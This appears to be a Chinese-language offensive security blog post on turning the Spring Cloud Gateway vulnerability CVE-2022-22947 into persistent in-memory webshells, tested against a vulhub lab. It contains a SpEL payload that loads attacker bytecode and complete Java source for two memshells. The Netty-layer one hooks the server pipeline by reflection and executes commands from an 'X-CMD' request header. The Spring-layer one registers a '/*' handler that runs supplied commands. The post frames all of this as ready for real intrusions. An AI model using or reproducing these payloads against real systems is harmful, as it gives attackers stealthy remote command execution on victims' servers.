最进小火的漏洞’CVE-2022-22947’虽然原理简单,但是实战利用还是有点小麻烦。目前公开的利用是每执行一条命就得注册一条路由,refresh一下网关,最后在访问这个路由。先不说步骤较多,就是频繁刷新会影响业务。实战当中注入一个内存马才是硬道理!
0x00 背景
最进小火的漏洞CVE-2022-22947
虽然原理简单,但是实战利用还是有点小麻烦。目前公开的利用是每执行一条命就得注册一条路由,refresh一下网关,最后在访问这个路由。先不说步骤较多,就是频繁刷新会影响业务。实战当中注入一个内存马才是硬道理!
spring cloud gateway的web服务是netty+spring构建的,netty的web服务没有遵循servlet规范来设计。这也导致了构造它的内存马,与常规中间件有所不同,从某种程度来讲是这是一种新类型的内存马。
下面以vulhub中的spring cloud gateway 3.1.0
作为环境,来分享下构造netty层和spring层的内存马,其他版本思路相同。
0x01 高可用Payload
Spring cloud gateway对payload的稳定性要求比较高,一旦报错是由可能会影响业务的。所以在开始之前,我们需要先构造一个"优质"的SPEL执行java字节码的payload。
我主要对payload进行了如下的优化:
- 解决BCEL/js引擎兼容性问题
- 解决base64在不同版本jdk的兼容问题
- 可多次运行同类名字节码
- 解决可能导致的ClassNotFound问题
#{T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL\[0\],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}
0x02 netty层内存马
netty处理http请求是构建一条责任链pipline,http请求会被链上的handler会依次来处理。所以我们的内存马其实就是一个handler。
不像常规的中间件,filter/servlet/listener
组件有一个统一的维护对象。netty每一个请求过来,都是动态构造pipeline,pipeline上的handler都是在这个时候new的。负责给pipeline添加handler是ChannelPipelineConfigurer
(下面简称为configurer),因此注入netty内存马的关键是分析configurer
如何被netty管理和工作的。
CompositeChannelPipelineConfigurer#compositeChannelPipelineConfigurer
是为pipeline选择configurer的关键逻辑。第一个参数是Spring cloud gateway默认的configurer,第二个是用户额外配置的。一般情况下第一个参数是不为空配置,第二个参数为空配置,所以返回的configurer是Spring cloud gateway默认的。
如果我们能够设置第二个other参数不为空配置呢? 那么这两个configurer将被合并为一个新CompositeChannelPipelineConfigurer
。
// reactor.netty.ReactorNetty.CompositeChannelPipelineConfigurer#compositeChannelPipelineConfigurer
static ChannelPipelineConfigurer compositeChannelPipelineConfigurer(ChannelPipelineConfigurer configurer, ChannelPipelineConfigurer other) {
if (configurer \== ChannelPipelineConfigurer.emptyConfigurer()) { // 默认configurer是无操作空配置
return other;
} else if (other \== ChannelPipelineConfigurer.emptyConfigurer()) { // 其他额外configurer是无操作空配置
return configurer;
} else {
......
ChannelPipelineConfigurer\[\] newConfigurers \= new ChannelPipelineConfigurer\[length\];
int pos;
if (thizConfigurers != null) {
pos \= thizConfigurers.length;
System.arraycopy(thizConfigurers, 0, newConfigurers, 0, pos);
} else {
pos \= 1;
newConfigurers\[0\] \= configurer; // 将默认configurer存储到新configurer
}
if (otherConfigurers != null) {
System.arraycopy(otherConfigurers, 0, newConfigurers, pos, otherConfigurers.length);
} else {
newConfigurers[pos] = other; // 将其他额外configurer存储到新configurer
}
// 合并成新的configurer
return new ReactorNetty.CompositeChannelPipelineConfigurer(newConfigurers);
}
}
CompositeChannelPipelineConfigurer
会循环调用所有合并进来configurer
来对pipeline
添加handler
。
// reactor.netty.ReactorNetty.CompositeChannelPipelineConfigurer
static final class CompositeChannelPipelineConfigurer implements ChannelPipelineConfigurer {
final ChannelPipelineConfigurer\[\] configurers;
CompositeChannelPipelineConfigurer(ChannelPipelineConfigurer[] configurers) {
this.configurers = configurers;
}
public void onChannelInit(ConnectionObserver connectionObserver, Channel channel, @Nullable SocketAddress remoteAddress) {
ChannelPipelineConfigurer[] var4 = this.configurers;
int var5 = var4.length;
// 循环调用所有configurer对pipeline设置handler
for(int var6 = 0; var6 < var5; ++var6) {
ChannelPipelineConfigurer configurer = var4[var6];
configurer.onChannelInit(connectionObserver, channel, remoteAddress);
}
}
}
因此我们可以通过修改other参数为自己的configurer向pipline中添加内存马。翻阅源码发现reactor.netty.transport.TransportConfig
类的doOnChannelInit
属性存储着other参数,我使用java-object-searcher以doOnChannelInit
为关键字,定位出了它在线程对象的位置。
TargetObject = {\[Ljava.lang.Thread;}
---> \[3\] = {org.springframework.boot.web.embedded.netty.NettyWebServer$1} = {org.springframework.boot.web.embedded.netty.NettyWebServer$1}
---> val$disposableServer = {reactor.netty.transport.ServerTransport$InetDisposableBind}
---> config = {reactor.netty.http.server.HttpServerConfig}
---> doOnChannelInit = {reactor.netty.ReactorNetty$$Lambda$391/236567414}
最终内存马构造如下:
public class NettyMemshell extends ChannelDuplexHandler implements ChannelPipelineConfigurer {
public static String doInject(){
String msg \= "inject-start";
try {
Method getThreads \= Thread.class.getDeclaredMethod("getThreads");
getThreads.setAccessible(true);
Object threads \= getThreads.invoke(null);
for (int i = 0; i < Array.getLength(threads); i++) {
Object thread = Array.get(threads, i);
if (thread != null && thread.getClass().getName().contains(“NettyWebServer”)) {
Field _val$disposableServer = thread.getClass().getDeclaredField(“val$disposableServer“);
_val$disposableServer.setAccessible(true);
Object val$disposableServer = _val$disposableServer.get(thread);
Field _config = val$disposableServer.getClass().getSuperclass().getDeclaredField(“config”);
_config.setAccessible(true);
Object config = _config.get(val$disposableServer);
Field _doOnChannelInit = config.getClass().getSuperclass().getSuperclass().getDeclaredField(“doOnChannelInit”);
_doOnChannelInit.setAccessible(true);
_doOnChannelInit.set(config, new NettyMemshell());
msg = “inject-success”;
}
}
}catch (Exception e){
msg = “inject-error”;
}
return msg;
}
@Override
// Step1. 作为一个ChannelPipelineConfigurer给pipline注册Handler
public void onChannelInit(ConnectionObserver connectionObserver, Channel channel, SocketAddress socketAddress) {
ChannelPipeline pipeline = channel.pipeline();
// 将内存马的handler添加到spring层handler的前面
pipeline.addBefore(“reactor.left.httpTrafficHandler”,“memshell_handler”,new NettyMemshell());
}
@Override
// Step2. 作为Handler处理请求,在此实现内存马的功能逻辑
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
if(msg instanceof HttpRequest){
HttpRequest httpRequest = (HttpRequest)msg;
try {
if(httpRequest.headers().contains(“X-CMD”)) {
String cmd = httpRequest.headers().get(“X-CMD”);
String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(“\\A”).next();
// 返回执行结果
send(ctx, execResult, HttpResponseStatus.OK);
return;
}
}catch (Exception e){
e.printStackTrace();
}
}
ctx.fireChannelRead(msg);
}
private void send(ChannelHandlerContext ctx, String context, HttpResponseStatus status) {
FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, status, Unpooled.copiedBuffer(context, CharsetUtil.UTF_8));
response.headers().set(HttpHeaderNames.CONTENT_TYPE, “text/plain; charset=UTF-8”);
ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);
}
}
0x03 Spring层内存马
Spring层request请求处理组件很多,有handler/Adapter/Filter等等,理论上都可以拿来做内存马,这里我分享下最简单的RequestMappingHandler
。
Spring cloud gateway主要的路由分发主要由org.springframework.web.reactive.DispatcherHandler
类和它三个组件来完成
- org.springframework.web.reactive.HandlerMapping 路由比配器
- org.springframework.web.reactive.HandlerAdapter handler适配器
- org.springframework.web.reactive.HandlerResultHandler 结果处理器
具体逻辑如下:
// org.springframework.web.reactive.DispatcherHandler#handle
public Mono<Void\> handle(ServerWebExchange exchange) {
return this.handlerMappings \== null ? this.createNotFoundError() : Flux.fromIterable(this.handlerMappings).concatMap((mapping) \-> {
return mapping.getHandler(exchange); // Step1. 使用HandlerMapping匹配路由
}).next().switchIfEmpty(this.createNotFoundError()).flatMap((handler) \-> {
return this.invokeHandler(exchange, handler); // Step2. 使用具体HandlerAdapter来处理具体请求
}).flatMap((result) \-> {
return this.handleResult(exchange, result); // Step3. 使用适合的HandlerResultHandler来处理返回的结果
});
}
基于这个流程,我们可以梳理出一个构造内存马的思路。让HandlerMapping
注册一个映射关系,通过映射关系让特定的HandlerAdapter执行到我们的内存马流程,最后内存马返回一个HandlerResultHandler可以处理的结果类型即可。
这里我选择RequestMappingHandlerMapping
这个HandlerMapping,来注册一个与使用@RequestMapping("/*")
等效的内存马。
public class SpringRequestMappingMemshell {
public static String doInject(Object requestMappingHandlerMapping) {
String msg \= "inject-start";
try {
Method registerHandlerMethod \= requestMappingHandlerMapping.getClass().getDeclaredMethod("registerHandlerMethod", Object.class, Method.class, RequestMappingInfo.class);
registerHandlerMethod.setAccessible(true);
Method executeCommand \= SpringRequestMappingMemshell.class.getDeclaredMethod("executeCommand", String.class);
PathPattern pathPattern \= new PathPatternParser().parse("/\*");
PatternsRequestCondition patternsRequestCondition \= new PatternsRequestCondition(pathPattern);
RequestMappingInfo requestMappingInfo \= new RequestMappingInfo("", patternsRequestCondition, null, null, null, null, null, null);
registerHandlerMethod.invoke(requestMappingHandlerMapping, new SpringRequestMappingMemshell(), executeCommand, requestMappingInfo);
msg \= "inject-success";
}catch (Exception e){
msg \= "inject-error";
}
return msg;
}
public ResponseEntity executeCommand(String cmd) throws IOException {
String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(“\\A”).next();
return new ResponseEntity(execResult, HttpStatus.OK);
}
}
那怎么获取到RequestMappingHandlerMapping
呢?通过java-object-searcher自然可以定位到,小组的@whw1sfb
师傅提到了一种更简便的方案,从SPEL上下文的bean当中获取!
0x04 总结
从最后的效果来看,spring层的内存马更好做兼容性,因为可以直接从bean当中获取目标对象,唯一要考虑的就是注入方法在各个版本是否兼容。
关于各个协议和组件的内存马的构造思路其实都大同小异,说白了就是分析涉及处理请求的对象,阅读它的源码看看是否能获取请求内容,同时能否控制响应内容。然后分析该对象是如何被注册到内存当中的,最后我们只要模拟下这个过程即可。
0x05 参考资料
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